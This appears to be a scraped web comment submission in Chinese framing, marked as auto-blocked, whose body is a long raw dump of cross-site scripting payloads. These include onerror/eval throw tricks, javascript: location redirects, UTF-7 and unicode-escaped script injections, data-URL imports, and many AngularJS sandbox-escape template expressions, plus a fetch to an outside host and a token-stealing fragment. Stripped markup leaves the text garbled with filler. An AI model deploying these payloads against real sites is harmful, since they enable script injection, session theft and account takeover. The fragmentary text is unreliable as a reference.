评论内容包含敏感词，已自动屏蔽

呵呵 @keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;} @keyframes x{} @keyframes slidein {} @keyframes x{} XSS XSS XSS test :target {color: red;} :target {color:red;} :target {transform: rotate(180deg);} fetch('//xyz') test test test test test test test test test test test test drag medrop here test drag medrop here test test test test test test test test test test test onerror=alert;throw 1 {onerror=alert}throw 1 throw onerror=alert,1 throw onerror=eval,'=alert\x281\x29' {onerror=eval}throw{lineNumber:1,columnNumber:1,fileName:1,message:'alert\x281\x29'} 'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval} 'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval} location='javascript:alert\x281\x29' location=name alert`1` XSS XSS XSS XSS XSS XSS XSS XSS import('data:text/javascript,alert(113)') test blah XSS XSS (Press ALT+SHIFT+X on Windows) (CTRL+ALT+X on OS X) (Press ALT+SHIFT+X on Windows) (CTRL+ALT+X on OS X) Test +ADw-script+AD4-alert(130)+ADw-/script+AD4- +ADw-script+AD4-alert(131)+ADw-/script+AD4- \u0061lert(1) \u{61}lert(1) \u{0000000061}lert(1) eval('\x61lert(1)') XSSXSS XSS XSS XSS XSS XSS XSS Firefox Firefox {{constructor.constructor('alert(149)')()}} {{$on.constructor('alert(150)')()}} {{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(151)')()}} {{{}.")));alert(152)//"}} {{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(153)')()}} {{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(154)"].sort(toString.constructor);}} {{{}.")));alert(155)//"}} {{{}.")));alert(156)//"}} {{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;'a'.constructor.prototype.charAt=[].join;$eval('x=alert(157)//');}} {{'a'[{toString:false,valueOf:[].join,length:1,0:'__proto__'}].charAt=[].join;$eval('x=alert(158)//');}} {{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(159)');}} {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(160)//');}} {{x={'y':''.constructor.prototype};x['y'].charAt=[].join;$eval('x=alert(161)');}} {{constructor.constructor('alert(162)')()}} {{$on.constructor('alert(163)')()}} constructor.constructor('alert(164)')() a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(165)')() toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(166)"].sort(toString.constructor) {}[['__proto__']]['x']=constructor.getOwnPropertyDescriptor;g={}[['__proto__']]['x'];{}[['__proto__']]['y']=g(''.sub[['__proto__']],'constructor');{}[['__proto__']]['z']=constructor.defineProperty;d={}[['__proto__']]['z'];d(''.sub[['__proto__']],'constructor',{value:false});{}[['__proto__']]['y'].value('alert(167)')() {}.")));alert(168)//"; 'a'.constructor.prototype.charAt=[].join;[1]|orderBy:'x=1} } };alert(169)//'; constructor.constructor('alert(170)')() toString().constructor.prototype.charAt=[].join; [1,2]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41) foo{{ [1].reduce(value.alert, 1); }} XSS stealme XSStoken="supersecret" XSS

发给